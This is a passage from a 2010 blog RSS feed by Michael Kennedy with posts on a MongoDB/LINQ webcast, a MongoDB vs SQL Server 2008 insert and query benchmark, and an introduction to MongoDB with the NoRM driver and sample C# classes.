<p><a href="http://www.michaelckennedy.net/blog/2010/05/11/WebcastNoSQLMovementLINQAndMongoDB.aspx" target="_blank">NoSQL + MongoDB + LINQ Webcast</a></p>
<p>Cheers!<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
</div>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/speaking/'>Speaking</a>, <a href='http://blog.michaelckennedy.net/category/uncategorized/'>Uncategorized</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/code-camps/'>Code Camps</a>, <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a>, <a href='http://blog.michaelckennedy.net/tag/speaking/'>Speaking</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/60/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/60/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=60&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2010/05/24/portland-codecamp-downloads-demos-and-slides/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Webcast: NoSQL Movement, LINQ, and MongoDB</title>
		<link>http://blog.michaelckennedy.net/2010/05/11/webcast-nosql-movement-linq-and-mongodb/</link>
		<comments>http://blog.michaelckennedy.net/2010/05/11/webcast-nosql-movement-linq-and-mongodb/#comments</comments>
		<pubDate>Tue, 11 May 2010 21:39:06 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[Speaking]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=66</guid>
		<description><![CDATA[[Update: This webcast is in the past, but you can download the video and audio recordings.] Download Video (WMV) Download Audio (MP3) I&#8217;m happy to announce I&#8217;ll be doing a free webcast in the DevelopMentor webcast series on MongoDB, .NET, LINQ, and &#8230; <a href="http://blog.michaelckennedy.net/2010/05/11/webcast-nosql-movement-linq-and-mongodb/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=66&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<div>
<span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/jdnS9LMocks?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;hd=1&#038;wmode=transparent' frameborder='0'></iframe></span>
<p><img style="float:right;" src="http://www.michaelckennedy.com/Images/BlogPosts/Sql-in-the-trash.png" alt="" /></p>
<p>[Update: This webcast is in the past, but you can download the video and audio recordings.]</p>
<p><a href="http://developmentor.s3.amazonaws.com/webcasts/MongoDB-NoRM-LINQ-Michael-Kennedy-2010-05-25.wmv">Download Video (WMV)</a><br />
<a href="http://developmentor.s3.amazonaws.com/webcasts/MongoDB-NoRM-LINQ-Michael-Kennedy-2010-05-25.mp3">Download Audio (MP3)</a></p>
<p>I&#8217;m happy to announce I&#8217;ll be doing a free webcast in the <a href="http://develop.com" target="_blank">DevelopMentor</a> webcast series on MongoDB, .NET, LINQ, and NoRM.</p>
<p style="padding-left:40px;"><strong>NoSQL Movement, LINQ, and MongoDB </strong><br />
Tuesday May 25th &#8211; 11AM PST<br />
<a href="http://bit.ly/-mongoDB" target="_blank">Register here</a></p>
<p>I hope to see you there. We&#8217;ll be building out a website in ASP.NET MVC with MongoDB as the back-end using LINQ. There will be plenty of code so it should be fun and educational.</p>
<p>Cheers!<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
</div>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/nosql/'>NoSQL</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/speaking/'>Speaking</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/66/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/66/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=66&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2010/05/11/webcast-nosql-movement-linq-and-mongodb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://developmentor.s3.amazonaws.com/webcasts/MongoDB-NoRM-LINQ-Michael-Kennedy-2010-05-25.wmv" length="657491049" type="video/asf" />
<enclosure url="http://developmentor.s3.amazonaws.com/webcasts/MongoDB-NoRM-LINQ-Michael-Kennedy-2010-05-25.mp3" length="22338486" type="audio/mpeg" />
	
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/Sql-in-the-trash.png" medium="image" />
	</item>
		<item>
		<title>MongoDB vs. SQL Server 2008 Performance Showdown</title>
		<link>http://blog.michaelckennedy.net/2010/04/29/mongodb-vs-sql-server-2008-performance-showdown/</link>
		<comments>http://blog.michaelckennedy.net/2010/04/29/mongodb-vs-sql-server-2008-performance-showdown/#comments</comments>
		<pubDate>Thu, 29 Apr 2010 21:52:40 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[Articles]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=69</guid>
		<description><![CDATA[This article is a follow up one I wrote last week entitled “The NoSQL Movement, LINQ, and MongoDB &#8211; Oh My!”. In that article I introduced the NoSQL movement, MongoDB, and showed you how to program against it in .NET using LINQ &#8230; <a href="http://blog.michaelckennedy.net/2010/04/29/mongodb-vs-sql-server-2008-performance-showdown/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=69&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><img style="float:right;" src="http://www.michaelckennedy.com/Images/BlogPosts/Sql-in-the-trash.png" alt="" /></p>
<p>This article is a follow up one I wrote last week entitled <a href="http://www.michaelckennedy.net/blog/2010/04/22/TheNoSQLMovementLINQAndMongoDBOhMy.aspx" target="_blank">“The NoSQL Movement, LINQ, and MongoDB &#8211; Oh My!”</a>. In that article I introduced the NoSQL movement, MongoDB, and showed you how to program against it in .NET using LINQ and NoRM. You can also watch my conference presentation at <a href="http://wp.me/p2eT73-3V" target="_blank">MongoDB Seattle 2011</a> or this <a href="http://blog.michaelckennedy.net/2010/05/11/webcast-nosql-movement-linq-and-mongodb/" target="_blank">DevelopMentor webcast</a>.</p>
<p>I highlighted two cornerstone reasons why you might ditch your SQL Server for the NoSQL world of MongoDB. Those were</p>
<p style="padding-left:10px;">1. Ease-of-use and deployment<br />
2. Performance</p>
<p>For ease-of-use, you’ll want to <a href="http://www.michaelckennedy.net/blog/2010/04/22/TheNoSQLMovementLINQAndMongoDBOhMy.aspx" target="_blank">read the original article</a>.</p>
<p>This article is about the performance argument for MongoDB over SQL Server (or MySql or Oracle). In the first article, I threw out a potentially controversial graph showing MongoDB performing 100 *times* better than SQL Server for inserts.</p>
<p style="padding-left:40px;padding-right:20px;font-size:1.4em;"><span style="font-size:1.4em;">“A potentially controversial graph showing MongoDB performing 100 times better than</span> <span style="font-size:1.4em;">SQL Server”</span></p>
<p style="padding-left:40px;"><img src="http://www.michaelckennedy.com/Images/BlogPosts/Sql-vs-Mongo-Inserts.png" alt="" /></p>
<p>We’ll see source code, downloadable and executable examples and you can verify all of this for yourselves. But first, here’s a new twist on an old proverb:</p>
<p style="padding-left:40px;padding-right:20px;font-size:1.4em;">“Data is money”</p>
<p><span id="more-69"></span></p>
<p>If your application is data intensive and stores lots of data, queries lots of data, and generally lives and breathes by its data, then you’d better do that efficiently or have resources (i.e. money) to burn.</p>
<p>Let’s imagine you’re creating a website that is for-pay and data intensive. If you were to attempt to plan out your operating costs per user to help guide the pricing of your product then the cost of storing, querying, and managing your data will likely be a significant part of that calculation.</p>
<p>If there is a database that is 100 times faster than SQL Server, free, easy to administer and you program it with LINQ just as you would with SQL Server then that is a very compelling choice.</p>
<p>When you have such a database, it means you can run your system on commodity hardware rather than high-end servers. It means you can have fewer servers to maintain and purchase or lease. It means you can charge a lot less per user of your application and get the same revenue. Think about it.</p>
<p style="padding-left:40px;padding-right:20px;font-size:1.4em;">“It means you can charge a lot less per user of your application and get the same revenue. Think about it.”</p>
<p>One more story before we see the statistics. Kristina Chodorow from 10Gen gave a talk a few weeks ago at San Francisco’s MySQL Meetup entitled “Dropping ACID with MongoDB”. You can watch the recording here:</p>
<p><a href="http://www.ustream.tv/recorded/6146875" target="_blank">http://www.ustream.tv/recorded/6146875</a></p>
<p>[The audio and video isn’t too hot, but the content is. Skip the first minute without<br />
audio.]</p>
<p>During this talk, Kristina describes SourceForge’s experience moving from MySql to MongoDB. On MySql, SourceForge was reaching its limits of performance at its current user load. Using some of the easy scale-out options in MongoDB, they fully replaced MySQL and found MongoDB could handle the current user load easily. In fact, after some testing, they found their site can now handle 100 times the number of users it currently supports.</p>
<p>Not convinced of this NoSQL thing yet? Fair enough. Here are some graphs, some stats, and some code.</p>
<h3><strong>The scenario:</strong></h3>
<p>Model a data intensive web application aiming to support as many concurrent users<br />
as possible. There will be users from the web application itself. But there will also be users from an API and external applications. Users will interact with the data by having nearly as many inserts as they do queries. Their inserts are all small pieces of data and are all independent of each other.</p>
<p>Let me just get this out of the way and I mean the following in the nicest of ways: I don’t care about your scenario or use-case. The scenario above is what I’m trying to model. I’m not trying to do bulk-inserts or loading large files into databases or anything like that. MongoDB may be great for these. SQL Server may have specialized features around your use-case, etc. They don’t apply in my scenario. So please don’t wonder why I’m not using bulk inserts or anything like that in the examples below.</p>
<h3>Insert Speed Comparison</h3>
<p>It’s the inserts where the differences are most obvious between MongoDB and SQL Server.</p>
<p style="padding-left:40px;"><img src="http://www.michaelckennedy.com/Images/BlogPosts/Insert-Speed-Table.png" alt="" /></p>
<p style="padding-left:40px;"><img src="http://www.michaelckennedy.com/Images/BlogPosts/Sql-vs-Mongo-Inserts.png" alt="" /></p>
<p>These inserts were performed by inserting 50,000 independent objects using NoRM for MongoDB and LINQ to SQL for SQL Server 2008. Here are the data models:</p>
<p style="padding-left:70px;"><img src="http://www.michaelckennedy.com/Images/BlogPosts/MongoDb-Basic-Entity.png" alt="" /></p>
<p>MongoDB basic class</p>
<p style="padding-left:40px;"><img src="http://www.michaelckennedy.com/Images/BlogPosts/SQL-Basic-Entity.png" alt="" /></p>
<p>SQL Server basic class</p>
<p>I ran five concurrent clients hammering the databases with inserts. Here’s the  screenshots for  <a href="http://www.michaelckennedy.com/Images/BlogPosts/RunningMonoDBPerf.png" target="_blank">running against MongoDB</a> and  <a href="http://www.michaelckennedy.com/Images/BlogPosts/RunningSqlPerf.png" target="_blank">against SQL Server</a>. Let’s zoom into the most important result with the output from one of five concurrent clients:</p>
<p style="padding-left:40px;">MongoDB:</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/RunningMonoDBPerf-Zoom.png" alt="" /></p>
<p style="padding-left:40px;">SQL Server:</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/RunningSqlPerf-Zoom.png" alt="" /></p>
<p>That’s right. It’s 2 seconds verses 3 1/2 <span style="text-decoration:underline;"><strong>minutes</strong></span>!</p>
<p>Now to be fair, this was using LINQ to SQL on the SQL side which is slow on the inserts. After discussing these results with some friends, I re-ran the tests using raw ADO.NET style programming and saw a 1.5x-3x performance improvement for SQL. That still leaves MongoDB 30x-50x faster than SQL.</p>
<h3>Query Speed Comparison</h3>
<p>Now let’s see about getting the data out using the same objects above on the indexed Id field for each database.</p>
<p style="padding-left:40px;"><img src="http://www.michaelckennedy.com/Images/BlogPosts/Basic-Indexed-Query-Speed-Table.png" alt="" /></p>
<p style="padding-left:40px;"><img src="http://www.michaelckennedy.com/Images/BlogPosts/Basic-Indexed-Query-Speed-Graph.png" alt="" /></p>
<p>Here MongoDB still kicks some SQL butt with almost 3x performance. If we were to leverage the mad scale-out options that MongoDB affords then we could kick that up to many times more.</p>
<p style="padding-left:40px;padding-right:20px;font-size:1.4em;">“If we were to leverage the mad scale-out options that MongoDB affords then we could kick that up to many times more.”</p>
<h3>Complex Data and the Real World</h3>
<p>Feel like that was an overly simplified example? Here’s some real world data with foreign keys and joins. Below is the complex data model.</p>
<p>MongoDB:</p>
<p style="padding-left:40px;"><img src="http://www.michaelckennedy.com/Images/BlogPosts/MongoDB-Complex-Entities.png" alt="" /></p>
<p>SQL Server:</p>
<p style="padding-left:40px;"><img src="http://www.michaelckennedy.com/Images/BlogPosts/SQL-Complex-Entities.png" alt="" /></p>
<p>It shouldn’t surprise you that MongoDB does even better here without its joins.</p>
<p style="padding-left:40px;"><img src="http://www.michaelckennedy.com/Images/BlogPosts/Complex-Query-Speed-Table.png" alt="" /></p>
<p style="padding-left:40px;"><img src="http://www.michaelckennedy.com/Images/BlogPosts/Complex-Query-Speed-Graph.png" alt="" /></p>
<h3>The Hardware</h3>
<p>All of these tests were run on a Lenovo T61 on Windows 7 64-bit with a dual-core 2.8 GHz processor using the 64-bit versions of both SQL Server 2008 Standard and MongoDB 1.4.1. You can even see a picture of the computer here: <a href="http://twitpic.com/hywa8" target="_blank">http://twitpic.com/hywa8</a></p>
<h3>Your Turn</h3>
<p>If you want to see the entire set of data above as an Excel spreadsheet, you can download that here:</p>
<p style="padding-left:40px;"><a href="http://www.michaelckennedy.com/Downloads/sql-vs-mongo.xlsx" target="_blank"> http://www.michaelckennedy.com/Downloads/sql-vs-mongo.xlsx</a></p>
<p>You can also download the sample code. Before you do, realize I haven’t done a bunch of work to make it super easy to run. But you should be able to figure it out. Just turn the knobs on the PerfConstants class for the number of inserts and queries. Then comment or uncomment sections of the code in the clients for your scenarios.</p>
<p>The expected use is that you’ll start the launcher application then use it to launch five concurrent clients at exactly the same time.</p>
<p><strong>Download Sample:</strong></p>
<p style="padding-left:40px;"><a href="http://www.michaelckennedy.com/Samples/SpeedOfSqlVsMongoDBAnddotNetSample.zip" target="_blank"> http://www.michaelckennedy.com/Samples/SpeedOfSqlVsMongoDBAnddotNetSample.zip</a></p>
<p>Got feedback? Write a comment or contact me on Twitter:  <a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a> or find me in <a href="http://www.michaelckennedy.net/contact.aspx" target="_blank"><br />
any of these other ways</a>.</p>
<h3>Thanks!</h3>
<p>Some thanks are in order for all the help I got bouncing around ideas as well as trying different scenarios. Thanks to</p>
<p>Eric Cain <a href="http://twitter.com/arcain" target="_blank">@arcain</a><br />
Jim Lehmer<a href="http://twitter.com/dullroar" target="_blank">@dullroar</a><br />
Karl Seguin <a href="http://twitter.com/karlseguin" target="_blank">@karlseguin</a></p>
<p>Cheers!<a href="http://twitter.com/karlseguin" target="_blank"><br />
</a><a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a><a href="http://twitter.com/karlseguin" target="_blank"> </a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/nosql/'>NoSQL</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/articles/'>Articles</a>, <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/69/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/69/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=69&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2010/04/29/mongodb-vs-sql-server-2008-performance-showdown/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/Sql-in-the-trash.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/Sql-vs-Mongo-Inserts.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/Insert-Speed-Table.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/Sql-vs-Mongo-Inserts.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/MongoDb-Basic-Entity.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/SQL-Basic-Entity.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/RunningMonoDBPerf-Zoom.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/RunningSqlPerf-Zoom.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/Basic-Indexed-Query-Speed-Table.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/Basic-Indexed-Query-Speed-Graph.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/MongoDB-Complex-Entities.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/SQL-Complex-Entities.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/Complex-Query-Speed-Table.png" medium="image" />

		<media:content url="http://www.michaelckennedy.com/Images/BlogPosts/Complex-Query-Speed-Graph.png" medium="image" />
	</item>
		<item>
		<title>The NoSQL Movement, LINQ, and MongoDB &#8211; Oh My!</title>
		<link>http://blog.michaelckennedy.net/2010/04/22/the-nosql-movement-linq-and-mongodb-oh-my/</link>
		<comments>http://blog.michaelckennedy.net/2010/04/22/the-nosql-movement-linq-and-mongodb-oh-my/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 22:24:34 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=76</guid>
		<description><![CDATA[Maybe you’ve heard people talking about ditching their SQL Servers and other RDBMS entirely. There is a movement out in the software development world called the &#8220;NoSQL&#8221; movement and it’s taking the web application world by storm. “Insanity!” you may cry, “for where &#8230; <a href="http://blog.michaelckennedy.net/2010/04/22/the-nosql-movement-linq-and-mongodb-oh-my/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=76&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<div>
<p><img style="float:right;" src="http://www.michaelckennedy.com/Images/BlogPosts/Sql-in-the-trash.png" alt="" /><br />
Maybe you’ve heard people talking about ditching their SQL Servers and other RDBMS entirely. There is a movement out in the software development world called <a href="http://en.wikipedia.org/wiki/NoSQL" target="_blank">the &#8220;NoSQL&#8221; movement</a> and it’s taking the web application world by storm.</p>
<p style="font-size:1.3em;">“Insanity!” you may cry, “for where will people put their data if not in a database? Flat files? Tell me we aren’t going back to flat files.”</p>
<p>No, but in the relational model, something does has to give. The NoSQL movement is about re-evaluating the constraints and scalability of data storage systems in the light of the way modern web applications generate and consume data.</p>
<p>The outcry about flat files above is meant to highlight an assumption developers often have about building data-driven applications: Data goes in the database (SQL Server, Oracle, or MySql). Just maybe, if we are really cutting-edge, we might consider storing our data in the cloud, but the choices generally stop there.</p>
<p>The NoSQL movement asks the question:</p>
<p style="font-size:1.3em;">“Is the relational database (RDBMS) always the right tool for data storage and data access?”</p>
<p><span id="more-76"></span></p>
<p>Starting from an RDBMS is virtually an <a title="a proposition whose truth is so evident that no reasoning or demonstration can make it plainer." href="http://en.wiktionary.org/wiki/axiom" target="_blank">axiom</a> of software development. However, those of us who are excited about NoSQL believe that relational databases are not always the answer. I think this highlights one of the reasons this NoSQL thing is called a movement. People are realizing they have a choice where they thought they had none.</p>
<p>The converse is, of course, also true. The NoSQL databases are also not always the right choice either. If you look carefully however, you will find that they are a good choice much of the time. Don’t take my word on it. Ask Facebook, Twitter, Digg, SourceForge, WebEx, Reddit and a bunch of other companies <a href="http://en.wikipedia.org/wiki/Apache_Cassandra" target="_blank">here</a> and <a href="http://www.mongodb.org/display/DOCS/Production+Deployments" target="_blank">here</a> that are using NoSQL databases.</p>
<p>This move towards NoSQL is driven by pressure from two angles in the web application<br />
world:</p>
<ul>
<li><strong>Ease-of-use and deployment</strong></li>
<li><strong>Performance</strong><span style="font-family:verdana;font-size:1.2em;line-height:1.4em;"> - especially when there are many writers as compared to the number of readers (think Twitter or Facebook).</span></li>
</ul>
<h3><span style="font-family:verdana;font-size:1.2em;line-height:1.4em;"><br />
Choosing NoSQL for Ease-of-Use and Deployment</span></h3>
<p>I cover the programming model in detail as well as introduce the actual database<br />
server below. For some vague motivation, let me just give you a quick look at how<br />
you define the data model and maintain it.</p>
<table style="float:none;width:400px;">
<tbody>
<tr>
<td>
<ol>
<li>Define your classes in C# (largely) without regard to putting them in a database. Related classes? Easy &#8211; one has a collection of the others.</li>
<li>Create a simple DataContext-like class which exposes each top-level type that is to be stored in the database. This is only a few lines of code per collection (think of this as a table).</li>
<li>Interact with the database using LINQ. This creates the collections (think tables), sets the schema, etc.</li>
<li>Maintain the database and evolve it by maintaining your classes from step 1. *</li>
</ol>
</td>
</tr>
</tbody>
</table>
<p style="clear:both;">Why, in the name of all that is right, do we have to model our system twice? Once in the database and once, in parallel, in code? With NoSQL, you have one place to do that &#8211; in your C# classes.</p>
<p>* You may have to run a transformation tool if you’re making radical data changes, but that’s true in SQL systems as well.</p>
<h3>Choosing NoSQL for Performance</h3>
<p>When the number of concurrent clients using your application &#8211; and thus your database - is reasonably small (let’s say 500 users as a baseline) RDBMS can work great. But what if that number grows? And if you are writing a web app, you definitely want that number to grow. At 50,000 users, can you still run on a single instance of SQL Server or MySql? How powerful does your hardware have to be to handle that? What about at 500,000 or 5,000,000 users, still good?</p>
<p>I’m sure there are some of you out there thinking, “What a minute now! There are plenty of systems with tons of users built upon relational databases.”</p>
<p>It’s true, there are. But how much expensive hardware and software do these require? How easy is it to leverage *commodity* hardware and free software? A basic SQL Server  cluster might run you $100,000 just to get it up and running on decent hardware. Rather than leveraging crazy scaling-up options, the NoSQL databases let you scale-out. They make this possible (dare I say easy?) by dropping the relational aspects of a database. Some NoSQL systems such as MongoDB get even better scalability by loosening some of the durability guarantees – which they backfill somewhat with redundancy (more on MongoDB shortly).</p>
<p style="font-size:1.3em;">“Ok, ok. So it’s cheaper and simpler,” you say. “How much faster than the finely tune system that is SQL Server 2008 can these open source NoSQL systems be?”</p>
<p>The answer is: <strong>MUCH MUCH FASTER</strong>. Here’s a simple comparison of running a bunch of concurrent inserts into SQL Server 2008 and MongoDB on the same computer.</p>
<p><img src="http://www.michaelckennedy.com/Images/BlogPosts/Sql-vs-Mongo-Inserts.png" alt="" /></p>
<p>Looks like under heavy load, I’d say it’s about 100 times faster. I’m sure there going to be tons of second guessing this graph and so on. Hold your comments please! I’ll be posting a full performance comparison with source code soon. Let me just say that I think the comparison was fair &#8211; I’ll back that up in a later post.</p>
<h3>NoSQL and a New Programming Model</h3>
<p>If we do not have joins and primary / foreign key relationships, how do we associate related data? In NoSQL, there is a way to mimic foreign keys for certain relationships. However the main answer is that you do not disassociate your data in the first place.</p>
<p>I’m sure that you’ve all heard of the <a href="http://en.wikipedia.org/wiki/Object-relational_impedance_mismatch" target="_blank">object-relational impedance mismatch</a>. A large part<br />
of that mismatch comes from the fact that we normalize the data in our database to the extreme and then use joins to reassemble that data. Not only does that cause this so-called impedance mismatch, but those joins can be really slow and they can be the death of any scale-out solution. The key to many of the NoSQL databases’ scalability is that they do not use joins. You simply save large swaths of your data as a single blob (which in MongoDB’s case, is still deeply queriable).</p>
<p>Shortly we’ll look at an example where we build out a disconnected, offline RSS reader that uses MongoDB and LINQ to store its data. But just think about how you might structure your data storage if you could save entire object graphs and still query them? Your &#8220;row&#8221; might be a Blog object which has an array of BlogEntries which contain the entry text, link, date, etc. Then your *entire* query to pull all the details of a single blog would hit a single “table” in the database. That might look like this query which has one result:</p>
<pre class="brush: csharp">var blog =
       (from b in ctx.Blogs
       where b.Id == requestedBlogId
       select b).FirstOrDefault();</pre>
<p>There are no joins or anything like that because you’re saving objects not columns and those objects contain their collections already (e.g. RssEntries). There is an important distinction to make here. These NoSQL databases generally are *not* the same as object databases. They are what are known as document databases. There’s actually <a href="http://blog.10gen.com/post/437029788/json-db-vs-odbms" target="_blank">a<br />
big difference between the two</a>.</p>
<h3>Introducing MongoDB</h3>
<p>The NoSQL database we are using in this example is <a href="http://www.mongodb.org" target="_blank">MongoDB</a>. This is free, open-source database which runs on Windows, Linux, and Mac OS X systems. You can access it from many platforms including .NET, Ruby, Java, PHP, and so on.</p>
<p>We’ll be using .NET and C# of course. You have several options when choosing <a href="http://www.mongodb.org/display/DOCS/C+Sharp+Language+Center" target="_blank">how to access MongoDB from .NET</a> but generally that means using LINQ and a light-weight object-mapper on top of MongoDB itself. Note that common terminology might categorize the object mapper that moves objects into and out of the database as an ORM. While that’s OK, there is technically no &#8220;R&#8221; in this ORM because MongoDB is not relational. Hence I’m calling simply an Object-Mapper (OM).</p>
<p>In MongoDB nomenclature, theses libraries are called drivers. My favorite .NET driver<br />
is called NoRM. It’s being actively developed and was created by <a href="http://twitter.com/karlseguin" target="_blank">Karl Seguin</a>, <a href="http://twitter.com/atheken" target="_blank">Andrew Theken</a>, <a href="http://twitter.com/robconery" target="_blank">Rob Conery</a>, <a href="http://twitter.com/averyj" target="_blank">James Avery</a>, and <a href="http://twitter.com/jasona" target="_blank">Jason Alexander</a>. You can find <a href="http://github.com/atheken/NoRM" target="_blank">NoRM on GitHub</a> and discuss it in its related <a href="http://groups.google.com/group/norm-mongodb" target="_blank">Google Group</a>.</p>
<p>If you want to learn more about MongoDB you should listen to these Podcast interviews:</p>
<table style="float:none;">
<tbody>
<tr>
<td>
<ul>
<li><a href="http://herdingcode.com/?p=234" target="_blank">HERDING CODE 71: JAMES AVERY AND ROB CONERY ON NOSQL AND A BUNCH OF OTHER STUFF</a></li>
<li><a href="http://www.dotnetrocks.com/default.aspx?showNum=507" target="_blank">DotNetRocks: Michael Dirolf is SQL Free with MongoDB</a></li>
</ul>
</td>
</tr>
</tbody>
</table>
<p>Michael Dirolf also has a great book in the works. You can catch a preview of it on<br />
<a href="http://my.safaribooksonline.com/9781449381578" target="_blank">Safari Books Online</a>. Here’s the amazon page:</p>
<p><a href="http://www.amazon.com/MongoDB-Definitive-Guide-Michael-Dirolf/dp/1449381561" target="_blank">MongoDB: The Definitive Guide</a>.</p>
<h3>NoSQL in Action</h3>
<p>Let’s write some code. The first step typically in a data-driven application is to spec out the database. Then we’d use LINQ to SQL or Entity Framework to generate the ORM classes. MongoDB is different. MongoDB has no schema or rather its schema is flexible and defined via usage rather than being predefined in the database. So our first step is to define the classes we’d be storing in the DB via NoRM.</p>
<p>We’re going to define 3 classes: Blog, RssEntry, and RssDetail. The Blog object will contain a collection of RssEntry objects. In practice you might just go with the Blog and RssEntry classes. But I wanted to model both the embedded case (Blog + RssEntry) and the loosely defined foreign key style relationship that mimic joins (RssEntry + RssDetail). That way we can demonstrate both use-cases.</p>
<p>Here’s a taste of the Blog class:</p>
<pre class="brush: csharp">public class Blog
{
	public ObjectId _id { get; set; }
	public string Name { get; set; }
	public string Url { get; set; }
	public string RssUrl { get; set; }
	public List Entries { get; set; }
      // ...
}</pre>
<p>Notice that it contains a collection (Listreally) of RssEntry objects. That’s the relationship supported by nesting. The Blog class just has this collection as part of its data model.</p>
<p>The RssEntry class has the summary info for a blog entry:</p>
<pre class="brush: csharp">public class RssEntry
{
	public ObjectId _id { get; set; }

	public Guid UniqueId { get; set; }
	public DateTime PostedDate { get; set; }
	public string Title { get; set; }
	public string RssGuid { get; set; }
}</pre>
<p>And the larger data is stored in the RssDetails class (for example the text of the post):</p>
<pre class="brush: csharp">public class RssDetails
{
	public ObjectId _id { get; set; }

